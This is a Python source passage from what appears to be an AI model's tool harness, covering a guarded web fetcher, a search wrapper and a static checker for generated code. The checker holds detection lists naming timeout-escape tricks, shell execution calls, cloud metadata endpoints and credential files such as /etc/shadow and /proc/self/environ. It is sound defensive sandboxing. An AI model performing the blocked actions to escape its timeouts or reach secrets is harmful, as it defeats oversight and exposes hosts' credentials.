# absent (RFC 2045); report "" instead so callers can tell a missing
|
|
# header apart from a server that really declared text/plain.
|
|
if resp.headers.get("Content-Type") is None:
|
|
content_type = ""
|
|
else:
|
|
content_type = (resp.headers.get_content_type() or "").lower()
|
|
|
|
# Success: read the capped body enforcing the budget between chunks
|
|
# (see _read_capped_body), so a slow-drip server can't stretch a
|
|
# single resp.read past the deadline.
|
|
declared_pdf = content_type == "application/pdf"
|
|
read_limit = _MAX_PDF_FETCH_BYTES + 1 if declared_pdf else max_bytes
|
|
body_error, raw_bytes = _read_capped_body(
|
|
resp,
|
|
read_limit,
|
|
timeout,
|
|
deadline,
|
|
cancel_event,
|
|
)
|
|
if body_error is not None:
|
|
return body_error, "", ""
|
|
|
|
# A missing or wrong PDF MIME type is common: once the initial text-sized
|
|
# read identifies PDF magic, finish the bounded download to reach the EOF xref.
|
|
if not declared_pdf and len(raw_bytes) == max_bytes and _has_pdf_magic(raw_bytes):
|
|
tail_error, tail = _read_capped_body(
|
|
resp,
|
|
_MAX_PDF_FETCH_BYTES - max_bytes + 1,
|
|
timeout,
|
|
deadline,
|
|
cancel_event,
|
|
)
|
|
if tail_error is not None:
|
|
return tail_error, "", ""
|
|
raw_bytes += tail
|
|
break
|
|
else:
|
|
return "Failed to fetch URL: too many redirects.", "", ""
|
|
|
|
is_pdf = declared_pdf or _has_pdf_magic(raw_bytes)
|
|
if is_pdf:
|
|
if len(raw_bytes) > _MAX_PDF_FETCH_BYTES:
|
|
return (
|
|
"(PDF content exceeds the download limit; not readable as text)",
|
|
"",
|
|
content_type,
|
|
)
|
|
budget_error = _fetch_budget_exceeded(deadline, cancel_event)
|
|
if budget_error is not None:
|
|
return budget_error, "", content_type
|
|
try:
|
|
pdf_text = _extract_pdf_text(raw_bytes)
|
|
except Exception as exc:
|
|
logger.debug("web PDF text extraction failed (%s)", type(exc).__name__)
|
|
return "(PDF content could not be read as text)", "", content_type
|
|
budget_error = _fetch_budget_exceeded(deadline, cancel_event)
|
|
if budget_error is not None:
|
|
return budget_error, "", content_type
|
|
if not pdf_text:
|
|
pdf_text = "(PDF contains no extractable text)"
|
|
# Report the true type even for a mislabeled body so the caller's "html"
|
|
# check routes the extracted text to the plain-text path, not html_to_markdown.
|
|
return None, pdf_text, "application/pdf"
|
|
|
|
# Reject known-binary MIME types before decoding. Binary is returned as the
|
|
# error string so the caller surfaces the placeholder, not replacement chars.
|
|
if not _is_text_candidate_content_type(content_type):
|
|
# Only echo a clean MIME token back to the model.
|
|
m = re.match(r"[\w.+-]+/[\w.+-]+", content_type or "")
|
|
safe_type = m.group(0) if m else "unknown type"
|
|
return (
|
|
f"(non-text content: {safe_type}, {len(raw_bytes)} bytes; not readable as text)",
|
|
"",
|
|
content_type,
|
|
)
|
|
|
|
# Catch text-labeled binary via its magic signature.
|
|
if _has_binary_magic(raw_bytes):
|
|
return (
|
|
f"(binary content, {len(raw_bytes)} bytes; not readable as text)",
|
|
"",
|
|
content_type,
|
|
)
|
|
|
|
declared = resp.headers.get_content_charset()
|
|
declared_codec = codecs.lookup(declared).name if declared else None
|
|
bom_codec = next(
|
|
(codec for bom, codec in _UNICODE_BOM_CODECS if raw_bytes.startswith(bom)),
|
|
None,
|
|
)
|
|
raw_html = raw_bytes.decode(declared or bom_codec or "utf-8", errors = "replace")
|
|
|
|
# Catch mislabeled or unlabeled binary, including valid UTF-8 controls.
|
|
if _looks_binary(raw_html):
|
|
# Rescue undeclared cp1252 only when the bytes have text structure.
|
|
alt = (
|
|
raw_bytes.decode("cp1252", "replace")
|
|
if declared_codec in (None, "iso8859-1")
|
|
and _has_single_byte_text_evidence(raw_bytes)
|
|
else None
|
|
)
|
|
if alt is not None and not _looks_binary(alt):
|
|
raw_html = alt
|
|
else:
|
|
return (
|
|
f"(binary content, {len(raw_bytes)} bytes; not readable as text)",
|
|
"",
|
|
content_type,
|
|
)
|
|
|
|
return None, raw_html, content_type
|
|
except _HTTPError as e:
|
|
return f"Failed to fetch URL: HTTP {e.code} {getattr(e, 'reason', '')}", "", ""
|
|
except Exception as e:
|
|
return f"Failed to fetch URL: {e}", "", ""
|
|
|
|
|
|
# Tags that, at the very START of a body, mark it as HTML. Excludes ambiguous
|
|
# tags (<div>/<p>/<span>/<a>/<img>/<h1>..<h6>/<table>) that legitimately open
|
|
# centered-logo or badge-layout Markdown READMEs and must stay Markdown.
|
|
_HTML_LEADING_TAGS = (
|
|
"html",
|
|
"head",
|
|
"body",
|
|
"title",
|
|
"meta",
|
|
"link",
|
|
"script",
|
|
"style",
|
|
"article",
|
|
"section",
|
|
"main",
|
|
"header",
|
|
"footer",
|
|
"nav",
|
|
"aside",
|
|
"figure",
|
|
"form",
|
|
"ul",
|
|
"ol",
|
|
"dl",
|
|
"pre",
|
|
"blockquote",
|
|
)
|
|
_HTML_LEADING_RE = re.compile(r"<(?:!doctype\s+html|/?(?:" + "|".join(_HTML_LEADING_TAGS) + r")\b)")
|
|
|
|
|
|
def _looks_like_html(body: str) -> bool:
|
|
"""True only when the document ITSELF opens with HTML.
|
|
|
|
Matches an HTML doctype or a leading document/structure tag after optional
|
|
whitespace, not a mere substring, so a Markdown README with a fenced HTML
|
|
example or tags further down stays Markdown. Also detects bare fragments
|
|
(``<body>``/``<article>``/...) with no doctype, so a page with a
|
|
missing/wrong Content-Type is still converted.
|
|
"""
|
|
probe = body.lstrip()[:256].lower()
|
|
return bool(_HTML_LEADING_RE.match(probe))
|
|
|
|
|
|
# Stricter than _HTML_LEADING_RE: only a real document opener (doctype or leading
|
|
# <html>/<head>/<body>), never a block tag a Markdown file can open with. Used on
|
|
# the raw GitHub README body so a Markdown README starting with an HTML block is
|
|
# not run through html_to_markdown, which would collapse its headings, lists and
|
|
# fenced code onto one line.
|
|
_HTML_DOCUMENT_RE = re.compile(r"<(?:!doctype\s+html\b|/?(?:html|head|body)\b)")
|
|
|
|
|
|
def _looks_like_html_document(body: str) -> bool:
|
|
"""True only when the body opens as a full HTML document (e.g. a .html README)."""
|
|
probe = body.lstrip()[:256].lower()
|
|
return bool(_HTML_DOCUMENT_RE.match(probe))
|
|
|
|
|
|
def _truncate_page_text(text: str, max_chars: int) -> str:
|
|
if not text:
|
|
return "(page returned no readable text)"
|
|
if len(text) > max_chars:
|
|
return text[:max_chars] + f"\n\n... (truncated, {len(text)} chars total)"
|
|
return text
|
|
|
|
|
|
def _fetch_page_text(
|
|
url: str,
|
|
max_chars: int = _MAX_PAGE_CHARS,
|
|
timeout: int = 30,
|
|
cancel_event = None,
|
|
website_policy: dict | None = None,
|
|
) -> str:
|
|
"""Fetch a URL and return readable text content.
|
|
|
|
HTML responses are converted to Markdown with a main-content heuristic
|
|
(``<article>``/``<main>`` scoping, hidden-element and boilerplate
|
|
stripping); non-HTML text responses are returned as-is. GitHub repo root
|
|
pages are rewritten to the README API so the model reads the README
|
|
instead of the repo page's UI chrome. Blocks private/loopback/link-local
|
|
targets (SSRF protection) and caps the download size.
|
|
"""
|
|
# One wall-clock budget for the whole fetch. The README API attempt and its
|
|
# HTML fallback both draw from it, so a slow/failed API call cannot hand the
|
|
# fallback a fresh full timeout and double the worst case.
|
|
deadline = None if timeout is None else time.monotonic() + timeout
|
|
from .web_access_policy import check_url_access
|
|
|
|
# Before the policy gate (needs a scheme) and the README routing (reads host/path).
|
|
url = _normalize_url_scheme(url)
|
|
allowed, reason, _hostname = check_url_access(url, website_policy)
|
|
if not allowed:
|
|
return reason
|
|
policy_kwargs = {"website_policy": website_policy} if website_policy is not None else {}
|
|
readme_api_url = _github_repo_readme_api_url(url)
|
|
if readme_api_url:
|
|
err, body, _ctype = _fetch_url_raw(
|
|
readme_api_url,
|
|
timeout = timeout,
|
|
extra_headers = {
|
|
"Accept": "application/vnd.github.raw+json",
|
|
"X-GitHub-Api-Version": "2022-11-28",
|
|
},
|
|
deadline = deadline,
|
|
cancel_event = cancel_event,
|
|
**policy_kwargs,
|
|
)
|
|
# The README API is unauthenticated and rate-limited; on any failure fall
|
|
# back to the HTML page fetch. A 200 body is authoritative even when it is
|
|
# HTML (a .html README): convert it rather than falling back to the repo
|
|
# page's UI chrome, keeping the raw body if extraction yields nothing.
|
|
if err is None and body.strip():
|
|
readme_body = body
|
|
# The raw file is almost always Markdown. Only a real HTML document (a
|
|
# .html README) is converted; a Markdown README that merely opens with
|
|
# a block tag is kept as-is (see _HTML_DOCUMENT_RE).
|
|
if _looks_like_html_document(body):
|
|
from ._html_to_md import html_to_markdown
|
|
converted = html_to_markdown(body, main_content = True)
|
|
readme_body = converted if converted.strip() else body
|
|
if readme_body.strip():
|
|
return _truncate_page_text(
|
|
f"README of {url} (fetched via the GitHub README API):\n\n" + readme_body,
|
|
max_chars,
|
|
)
|
|
|
|
err, body, content_type = _fetch_url_raw(
|
|
url,
|
|
timeout = timeout,
|
|
deadline = deadline,
|
|
cancel_event = cancel_event,
|
|
**policy_kwargs,
|
|
)
|
|
if err is not None:
|
|
return err
|
|
|
|
# Trust a declared HTML type, and otherwise sniff the body: servers with a
|
|
# missing or wrong Content-Type (e.g. text/plain on an HTML page) still get
|
|
# converted, matching the pre-extraction behavior of always converting.
|
|
is_html = "html" in content_type or _looks_like_html(body)
|
|
if not is_html:
|
|
# Plain text / markdown / JSON (e.g. raw.githubusercontent.com):
|
|
# converting through the HTML renderer would collapse its whitespace.
|
|
return _truncate_page_text(body.strip(), max_chars)
|
|
|
|
# Convert HTML to Markdown with the builtin converter (no external deps).
|
|
from ._html_to_md import html_to_markdown
|
|
|
|
return _truncate_page_text(html_to_markdown(body, main_content = True), max_chars)
|
|
|
|
|
|
def _web_search(
|
|
query: str,
|
|
max_results: int = 5,
|
|
timeout: int = _EXEC_TIMEOUT,
|
|
url: str | None = None,
|
|
cancel_event = None,
|
|
website_policy: dict | None = None,
|
|
) -> str:
|
|
"""Search the web using DuckDuckGo and return formatted results.
|
|
|
|
If ``url`` is provided, fetches that page directly instead of searching.
|
|
"""
|
|
# Direct URL fetch mode.
|
|
if url and url.strip():
|
|
fetch_timeout = 60 if timeout is None else min(timeout, 60)
|
|
return _fetch_page_text(
|
|
url.strip(),
|
|
timeout = fetch_timeout,
|
|
cancel_event = cancel_event,
|
|
website_policy = website_policy,
|
|
)
|
|
|
|
if not query or not query.strip():
|
|
return "No query provided."
|
|
# A disconnect sets cancel_event; DDGS.text() is blocking and cannot be
|
|
# interrupted mid-flight, so gate on either side: skip an already-cancelled
|
|
# request, and discard results that land after the client has gone.
|
|
if cancel_event is not None and cancel_event.is_set():
|
|
return "Search cancelled."
|
|
try:
|
|
from ddgs import DDGS
|
|
|
|
from .web_access_policy import check_url_access, scope_search_query
|
|
|
|
effective_query = scope_search_query(query, website_policy)
|
|
# The policy filters below, so ask for a deeper pool when one actually restricts: a page
|
|
# whose top hits are all disallowed otherwise yields nothing even when valid results rank
|
|
# just under them. Test the domain lists, not the dict: a run always stores a normalized
|
|
# policy, which is truthy even when unrestricted.
|
|
restricted = any(
|
|
(website_policy or {}).get(key) for key in ("allowedDomains", "blockedDomains")
|
|
)
|
|
wanted = max_results * _POLICY_OVERFETCH if restricted else max_results
|
|
results = DDGS(timeout = timeout).text(effective_query, max_results = wanted)
|
|
if cancel_event is not None and cancel_event.is_set():
|
|
return "Search cancelled."
|
|
if not results:
|
|
return "No results found."
|
|
parts = []
|
|
for r in results:
|
|
if len(parts) >= max_results:
|
|
break
|
|
href = str(r.get("href") or "").strip()
|
|
allowed, _reason, _hostname = check_url_access(href, website_policy)
|
|
if not allowed:
|
|
continue
|
|
title = " ".join(str(r.get("title") or "").split())
|
|
snippet = " ".join(str(r.get("body") or "").split())
|
|
parts.append(f"Title: {title}\nURL: {href}\nSnippet: {snippet}")
|
|
if not parts:
|
|
return "No results found within the website access limits."
|
|
text = "\n\n---\n\n".join(parts)
|
|
text += (
|
|
"\n\n---\n\nIMPORTANT: These are only short snippets. "
|
|
"To get the full page content, call web_search with "
|
|
'the url parameter (e.g. {"url": "<URL>"}).'
|
|
)
|
|
return text
|
|
except Exception as e:
|
|
return f"Search failed: {e}"
|
|
|
|
|
|
def _check_signal_escape_patterns(code: str):
|
|
"""Check for patterns that could escape signal-based timeouts. Returns
|
|
(safe: bool, details: dict). Vendored from unsloth_zoo.rl_environments to
|
|
avoid importing unsloth_zoo (needs GPU drivers; fails on Apple Silicon)."""
|
|
try:
|
|
tree = ast.parse(code)
|
|
except SyntaxError as e:
|
|
return False, {
|
|
"error": f"SyntaxError: {e}",
|
|
"signal_tampering": [],
|
|
"exception_catching": [],
|
|
"warnings": [],
|
|
}
|
|
|
|
signal_tampering = []
|
|
exception_catching = []
|
|
shell_escapes = []
|
|
warnings = []
|
|
|
|
def _ast_name_matches(node, names):
|
|
if isinstance(node, ast.Name):
|
|
return node.id in names
|
|
elif isinstance(node, ast.Attribute):
|
|
full_name = []
|
|
current = node
|
|
while isinstance(current, ast.Attribute):
|
|
full_name.append(current.attr)
|
|
current = current.value
|
|
if isinstance(current, ast.Name):
|
|
full_name.append(current.id)
|
|
full_name = ".".join(reversed(full_name))
|
|
return full_name in names
|
|
return False
|
|
|
|
# Dangerous os/subprocess functions that can execute shell commands.
|
|
_SHELL_EXEC_FUNCS = frozenset(
|
|
{
|
|
"os.system",
|
|
"os.popen",
|
|
"os.popen2",
|
|
"os.popen3",
|
|
"os.popen4",
|
|
"os.execl",
|
|
"os.execle",
|
|
"os.execlp",
|
|
"os.execlpe",
|
|
"os.execv",
|
|
"os.execve",
|
|
"os.execvp",
|
|
"os.execvpe",
|
|
"os.spawnl",
|
|
"os.spawnle",
|
|
"os.spawnlp",
|
|
"os.spawnlpe",
|
|
"os.spawnv",
|
|
"os.spawnve",
|
|
"os.spawnvp",
|
|
"os.spawnvpe",
|
|
"os.posix_spawn",
|
|
"os.posix_spawnp",
|
|
"subprocess.run",
|
|
"subprocess.call",
|
|
"subprocess.check_call",
|
|
"subprocess.check_output",
|
|
"subprocess.Popen",
|
|
"subprocess.getoutput",
|
|
"subprocess.getstatusoutput",
|
|
}
|
|
)
|
|
|
|
def _extract_string_from_node(node):
|
|
"""Extract a plain string value from an AST node, if it is a constant."""
|
|
if isinstance(node, ast.Constant) and isinstance(node.value, str):
|
|
return node.value
|
|
return None
|
|
|
|
def _extract_strings_from_list(node):
|
|
"""Extract string elements from an AST List or Tuple node."""
|
|
if isinstance(node, (ast.List, ast.Tuple)):
|
|
parts = []
|
|
for elt in node.elts:
|
|
s = _extract_string_from_node(elt)
|
|
if s is not None:
|
|
parts.append(s)
|
|
return parts
|
|
return []
|
|
|
|
# Kwarg names that carry command content (not control flags like
|
|
# check=True, text=True, capture_output=True).
|
|
_CMD_KWARGS = frozenset({"args", "command", "executable", "path", "file"})
|
|
|
|
def _check_args_for_blocked(args_nodes):
|
|
"""Check if any call arguments contain blocked commands."""
|
|
found = set()
|
|
for arg in args_nodes:
|
|
s = _extract_string_from_node(arg)
|
|
if s is not None:
|
|
found |= _find_blocked_commands(s)
|
|
strs = _extract_strings_from_list(arg)
|
|
for s in strs:
|
|
found |= _find_blocked_commands(s)
|
|
return found
|
|
|
|
class SignalEscapeVisitor(ast.NodeVisitor):
|
|
def __init__(self):
|
|
self.imports_signal = False
|
|
self.signal_aliases = {"signal"}
|
|
self.os_aliases = {"os"}
|
|
self.subprocess_aliases = {"subprocess"}
|
|
# Bare name -> fully-qualified form for from-import tracking
|
|
# (e.g. "system" -> "os.system").
|
|
self.shell_exec_aliases: dict[str, str] = {}
|
|
self.loop_depth = 0
|
|
|
|
def visit_Import(self, node):
|
|
for alias in node.names:
|
|
if alias.name == "signal":
|
|
self.imports_signal = True
|
|
if alias.asname:
|
|
self.signal_aliases.add(alias.asname)
|
|
elif alias.name == "os":
|
|
self.os_aliases.add(alias.asname or "os")
|
|
elif alias.name == "subprocess":
|
|
self.subprocess_aliases.add(alias.asname or "subprocess")
|
|
self.generic_visit(node)
|
|
|
|
def visit_ImportFrom(self, node):
|
|
if node.module == "signal":
|
|
self.imports_signal = True
|
|
for alias in node.names:
|
|
if alias.name in (
|
|
"signal",
|
|
"SIGALRM",
|
|
"SIG_IGN",
|
|
"setitimer",
|
|
"ITIMER_REAL",
|
|
"pthread_sigmask",
|
|
"SIG_BLOCK",
|
|
"alarm",
|
|
):
|
|
self.signal_aliases.add(alias.asname or alias.name)
|
|
elif node.module in ("os", "subprocess"):
|
|
if node.module == "os":
|
|
self.os_aliases.add("os")
|
|
else:
|
|
self.subprocess_aliases.add("subprocess")
|
|
# Track from-imports of dangerous functions.
|
|
for alias in node.names:
|
|
fq = f"{node.module}.{alias.name}"
|
|
if fq in _SHELL_EXEC_FUNCS:
|
|
self.shell_exec_aliases[alias.asname or alias.name] = fq
|
|
self.generic_visit(node)
|
|
|
|
def visit_While(self, node):
|
|
self.loop_depth += 1
|
|
self.generic_visit(node)
|
|
self.loop_depth -= 1
|
|
|
|
def visit_For(self, node):
|
|
self.loop_depth += 1
|
|
self.generic_visit(node)
|
|
self.loop_depth -= 1
|
|
|
|
def visit_Call(self, node):
|
|
func = node.func
|
|
func_name = None
|
|
if isinstance(func, ast.Attribute):
|
|
if isinstance(func.value, ast.Name):
|
|
if func.value.id in self.signal_aliases:
|
|
func_name = f"signal.{func.attr}"
|
|
elif isinstance(func, ast.Name):
|
|
if func.id in ("signal", "setitimer", "alarm", "pthread_sigmask"):
|
|
func_name = func.id
|
|
|
|
if func_name:
|
|
if func_name in ("signal.signal", "signal"):
|
|
if len(node.args) >= 1:
|
|
if _ast_name_matches(node.args[0], ("SIGALRM", "signal.SIGALRM")):
|
|
signal_tampering.append(
|
|
{
|
|
"type": "signal_handler_override",
|
|
"line": node.lineno,
|
|
"description": "Overrides SIGALRM handler",
|
|
}
|
|
)
|
|
elif func_name in ("signal.setitimer", "setitimer"):
|
|
if len(node.args) >= 1:
|
|
if _ast_name_matches(node.args[0], ("ITIMER_REAL", "signal.ITIMER_REAL")):
|
|
signal_tampering.append(
|
|
{
|
|
"type": "timer_manipulation",
|
|
"line": node.lineno,
|
|
"description": "Manipulates ITIMER_REAL timer",
|
|
}
|
|
)
|
|
elif func_name in ("signal.alarm", "alarm"):
|
|
signal_tampering.append(
|
|
{
|
|
"type": "alarm_manipulation",
|
|
"line": node.lineno,
|
|
"description": "Manipulates alarm timer",
|
|
}
|
|
)
|
|
elif func_name in ("signal.pthread_sigmask", "pthread_sigmask"):
|
|
signal_tampering.append(
|
|
{
|
|
"type": "signal_mask",
|
|
"line": node.lineno,
|
|
"description": "Modifies signal mask (may block SIGALRM)",
|
|
}
|
|
)
|
|
|
|
# --- Shell escape detection ---
|
|
# Resolve the FQ function name for os.*/subprocess.*
|
|
shell_func = None
|
|
if isinstance(func, ast.Attribute):
|
|
if isinstance(func.value, ast.Name):
|
|
if func.value.id in self.os_aliases:
|
|
shell_func = f"os.{func.attr}"
|
|
elif func.value.id in self.subprocess_aliases:
|
|
shell_func = f"subprocess.{func.attr}"
|
|
elif isinstance(func, ast.Name):
|
|
# from-import aliases: from os import system; system(...)
|
|
shell_func = self.shell_exec_aliases.get(func.id)
|
|
|
|
if shell_func and shell_func in _SHELL_EXEC_FUNCS:
|
|
# Expand **kwargs dicts to inspect their keys.
|
|
expanded_kwargs: dict[str, ast.AST] = {}
|
|
has_opaque_kwargs = False
|
|
for kw in node.keywords:
|
|
if kw.arg is not None:
|
|
expanded_kwargs[kw.arg] = kw.value
|
|
elif isinstance(kw.value, ast.Dict):
|
|
for k, v in zip(kw.value.keys, kw.value.values):
|
|
key = _extract_string_from_node(k) if k else None
|
|
if key is not None:
|
|
expanded_kwargs[key] = v
|
|
else:
|
|
has_opaque_kwargs = True
|
|
|
|
cmd_kw_values = [v for k, v in expanded_kwargs.items() if k in _CMD_KWARGS]
|
|
all_call_args = list(node.args) + cmd_kw_values
|
|
blocked_in_args = _check_args_for_blocked(all_call_args)
|
|
|
|
if has_opaque_kwargs:
|
|
# Can't inspect dynamic **kwargs; flag as unsafe.
|
|
shell_escapes.append(
|
|
{
|
|
"type": "shell_escape_dynamic",
|
|
"line": node.lineno,
|
|
"description": (f"{shell_func}() called with dynamic **kwargs"),
|
|
}
|
|
)
|
|
elif blocked_in_args:
|
|
shell_escapes.append(
|
|
{
|
|
"type": "shell_escape",
|
|
"line": node.lineno,
|
|
"description": (
|
|
f"{shell_func}() invokes blocked command(s): "
|
|
f"{', '.join(sorted(blocked_in_args))}"
|
|
),
|
|
}
|
|
)
|
|
else:
|
|
# Only flag dynamic args for funcs that interpret strings as
|
|
# shell commands, or when shell= might be on. Any non-literal-
|
|
# False shell= is treated as potentially True (conservative).
|
|
_STRING_SHELL_FUNCS = frozenset(
|
|
{
|
|
"os.system",
|
|
"os.popen",
|
|
"os.popen2",
|
|
"os.popen3",
|
|
"os.popen4",
|
|
"subprocess.getoutput",
|
|
"subprocess.getstatusoutput",
|
|
}
|
|
)
|
|
shell_node = expanded_kwargs.get("shell")
|
|
shell_safe = shell_node is None or (
|
|
isinstance(shell_node, ast.Constant) and shell_node.value is False
|
|
)
|
|
# Dynamic shell-exec args (chr/format/concat bypasses).
|
|
if (
|
|
shell_func in _STRING_SHELL_FUNCS
|
|
or shell_func in _SHELL_EXEC_FUNCS
|
|
or not shell_safe
|
|
):
|
|
|
|
def _is_safe_literal(n):
|
|
if _extract_string_from_node(n) is not None:
|
|
return True
|
|
if isinstance(n, (ast.List, ast.Tuple)):
|
|
return all(_extract_string_from_node(e) is not None for e in n.elts)
|
|
return False
|
|
|
|
has_non_literal = any(not _is_safe_literal(a) for a in all_call_args)
|
|
if has_non_literal:
|
|
shell_escapes.append(
|
|
{
|
|
"type": "shell_escape_dynamic",
|
|
"line": node.lineno,
|
|
"description": (
|
|
f"{shell_func}() called with non-literal "
|
|
f"shell command (potential shell escape)"
|
|
),
|
|
}
|
|
)
|
|
|
|
self.generic_visit(node)
|
|
|
|
def visit_ExceptHandler(self, node):
|
|
if self.loop_depth == 0:
|
|
self.generic_visit(node)
|
|
return
|
|
if node.type is None:
|
|
exception_catching.append(
|
|
{
|
|
"type": "bare_except_in_loop",
|
|
"line": node.lineno,
|
|
"description": "Bare except in loop catches TimeoutError and continues looping",
|
|
}
|
|
)
|
|
elif isinstance(node.type, ast.Name):
|
|
# Flag BaseException/TimeoutError but NOT Exception: `except
|
|
# Exception` can't catch SystemExit/KeyboardInterrupt, so it
|
|
# can't suppress timeout enforcement.
|
|
if node.type.id in ("TimeoutError", "BaseException"):
|
|
exception_catching.append(
|
|
{
|
|
"type": f"catches_{node.type.id}_in_loop",
|
|
"line": node.lineno,
|
|
"description": f"Catches {node.type.id} in loop - may suppress timeout and continue",
|
|
}
|
|
)
|
|
elif isinstance(node.type, ast.Tuple):
|
|
for elt in node.type.elts:
|
|
if isinstance(elt, ast.Name):
|
|
if elt.id in ("TimeoutError", "BaseException"):
|
|
exception_catching.append(
|
|
{
|
|
"type": f"catches_{elt.id}_in_loop",
|
|
"line": node.lineno,
|
|
"description": f"Catches {elt.id} in loop - may suppress timeout and continue",
|
|
}
|
|
)
|
|
self.generic_visit(node)
|
|
|
|
visitor = SignalEscapeVisitor()
|
|
visitor.visit(tree)
|
|
|
|
if visitor.imports_signal and not signal_tampering:
|
|
warnings.append("Code imports 'signal' module - review manually for safety")
|
|
|
|
# Static host policy: block metadata hosts and any literal host outside the
|
|
# trusted allowlist; uploads blocked regardless of host. Dynamic hosts are
|
|
# caught by the bash blocklist.
|
|
network_calls: list[dict] = []
|
|
sensitive_file_reads: list[dict] = []
|
|
_NETWORK_FQ_PREFIXES = (
|
|
"socket.socket",
|
|
"socket.create_connection",
|
|
"socket.getaddrinfo",
|
|
"urllib.request.urlopen",
|
|
"urllib.request.urlretrieve",
|
|
"urllib3.",
|
|
"requests.get",
|
|
"requests.post",
|
|
"requests.put",
|
|
"requests.delete",
|
|
"requests.patch",
|
|
"requests.head",
|
|
"requests.request",
|
|
"requests.Session",
|
|
"http.client.HTTPConnection",
|
|
"http.client.HTTPSConnection",
|
|
"httpx.get",
|
|
"httpx.post",
|
|
"httpx.put",
|
|
"httpx.patch",
|
|
"httpx.delete",
|
|
"httpx.request",
|
|
"httpx.Client",
|
|
"httpx.AsyncClient",
|
|
"aiohttp.ClientSession",
|
|
)
|
|
_UPLOAD_HTTP_METHODS = (
|
|
"requests.post",
|
|
"requests.put",
|
|
"requests.patch",
|
|
"requests.delete",
|
|
"requests.request",
|
|
"httpx.post",
|
|
"httpx.put",
|
|
"httpx.patch",
|
|
"httpx.delete",
|
|
"httpx.request",
|
|
"urllib.request.urlopen",
|
|
"urllib.request.Request",
|
|
)
|
|
_UPLOAD_HF_FQ = (
|
|
"huggingface_hub.upload_file",
|
|
"huggingface_hub.upload_folder",
|
|
"huggingface_hub.upload_large_folder",
|
|
"huggingface_hub.create_commit",
|
|
)
|
|
_UPLOAD_HF_METHODS = frozenset(
|
|
{
|
|
"upload_file",
|
|
"upload_folder",
|
|
"upload_large_folder",
|
|
"create_commit",
|
|
}
|
|
)
|
|
# Cloud-metadata / link-local hosts.
|
|
_METADATA_HOST_LITERALS = {
|
|
"169.254.169.254",
|
|
"fd00:ec2::254",
|
|
"metadata.google.internal",
|
|
"metadata",
|
|
"metadata.tencentyun.com",
|
|
"100.100.100.200",
|
|
"100.100.100.110",
|
|
"169.254.170.2",
|
|
"169.254.170.23",
|
|
}
|
|
_METADATA_HOST_PREFIXES = (
|
|
"169.254.",
|
|
"100.64.",
|
|
)
|
|
# Allowlist kept explicit so each entry is auditable.
|
|
_TRUSTED_PUBLIC_HOST_LITERALS = frozenset(
|
|
{
|
|
# search
|
|
"www.google.com",
|
|
"google.com",
|
|
"www.bing.com",
|
|
"bing.com",
|
|
"duckduckgo.com",
|
|
"html.duckduckgo.com",
|
|
# encyclopedic / reference
|
|
"wikipedia.org",
|
|
"www.wikipedia.org",
|
|
"wikimedia.org",
|
|
"www.wikimedia.org",
|
|
"wikidata.org",
|
|
"www.wikidata.org",
|
|
"commons.wikimedia.org",
|
|
"www.britannica.com",
|
|
"openlibrary.org",
|
|
"www.openstreetmap.org",
|
|
# ML / dev / data
|
|
"huggingface.co",
|
|
"hf.co",
|
|
"github.com",
|
|
"api.github.com",
|
|
"raw.githubusercontent.com",
|
|
"gist.github.com",
|
|
"docs.github.com",
|
|
"pypi.org",
|
|
"files.pythonhosted.org",
|
|
"www.npmjs.com",
|
|
"registry.npmjs.org",
|
|
"crates.io",
|
|
"static.crates.io",
|
|
# docs
|
|
"docs.python.org",
|
|
"python.org",
|
|
"www.python.org",
|
|
"developer.mozilla.org",
|
|
"developer.apple.com",
|
|
"learn.microsoft.com",
|
|
"docs.docker.com",
|
|
"pytorch.org",
|
|
"docs.pytorch.org",
|
|
"tensorflow.org",
|
|
"www.tensorflow.org",
|
|
"numpy.org",
|
|
"pandas.pydata.org",
|
|
"scipy.org",
|
|
"scikit-learn.org",
|
|
"matplotlib.org",
|
|
"fastapi.tiangolo.com",
|
|
"starlette.io",
|
|
# academic
|
|
"arxiv.org",
|
|
"export.arxiv.org",
|
|
"scholar.google.com",
|
|
"openreview.net",
|
|
"semanticscholar.org",
|
|
"www.semanticscholar.org",
|
|
"biorxiv.org",
|
|
"www.biorxiv.org",
|
|
"medrxiv.org",
|
|
"www.medrxiv.org",
|
|
"pubmed.ncbi.nlm.nih.gov",
|
|
"www.ncbi.nlm.nih.gov",
|
|
# Q&A / community
|
|
"stackoverflow.com",
|
|
"stackexchange.com",
|
|
"askubuntu.com",
|
|
"superuser.com",
|
|
"serverfault.com",
|
|
# standards
|
|
"www.w3.org",
|
|
"tools.ietf.org",
|
|
"datatracker.ietf.org",
|
|
"www.rfc-editor.org",
|
|
# reputable news
|
|
"www.bbc.com",
|
|
"www.bbc.co.uk",
|
|
"www.reuters.com",
|
|
"apnews.com",
|
|
"www.nature.com",
|
|
"www.science.org",
|
|
# government / open data
|
|
"data.gov",
|
|
"catalog.data.gov",
|
|
"www.census.gov",
|
|
"www.nasa.gov",
|
|
"data.nasa.gov",
|
|
"www.cdc.gov",
|
|
"www.nih.gov",
|
|
"www.who.int",
|
|
# weather / time
|
|
"api.weather.gov",
|
|
"worldtimeapi.org",
|
|
}
|
|
)
|
|
_TRUSTED_PUBLIC_HOST_SUFFIXES = (
|
|
".wikipedia.org",
|
|
".wikimedia.org",
|
|
".wiktionary.org",
|
|
".wikibooks.org",
|
|
".wikiquote.org",
|
|
".wikisource.org",
|
|
".wikiversity.org",
|
|
".wikivoyage.org",
|
|
".stackexchange.com",
|
|
".hf.co",
|
|
".huggingface.co",
|
|
".githubusercontent.com",
|
|
".github.io",
|
|
".arxiv.org",
|
|
".readthedocs.io",
|
|
".readthedocs.org",
|
|
)
|
|
_SENSITIVE_FILE_PREFIXES = (
|
|
"/etc/passwd",
|
|
"/etc/shadow",
|
|
"/etc/sudoers",
|
|
"/etc/ssh/",
|
|
)
|
|
_SENSITIVE_FILE_RE = re.compile(r"^/proc/(?:self|\d+)/(?:environ|cmdline|task/\d+/environ)$")
|
|
|
|
def _normalize_host(host: str) -> str:
|
|
if not host:
|
|
return ""
|
|
h = host.strip().lower().rstrip(".")
|
|
if "@" in h:
|
|
h = h.split("@", 1)[1]
|
|
if h.startswith("[") and "]" in h:
|
|
h = h[1 : h.index("]")]
|
|
elif h.count(":") == 1:
|
|
h = h.split(":", 1)[0]
|
|
return h
|
|
|
|
def _is_metadata_host(host: str) -> bool:
|
|
h = _normalize_host(host)
|
|
if not h:
|
|
return False
|
|
if h in _METADATA_HOST_LITERALS:
|
|
return True
|
|
if any(h.startswith(p) for p in _METADATA_HOST_PREFIXES):
|
|
return True
|
|
return False
|
|
|
|
def _is_trusted_host(host: str) -> bool:
|
|
h = _normalize_host(host)
|
|
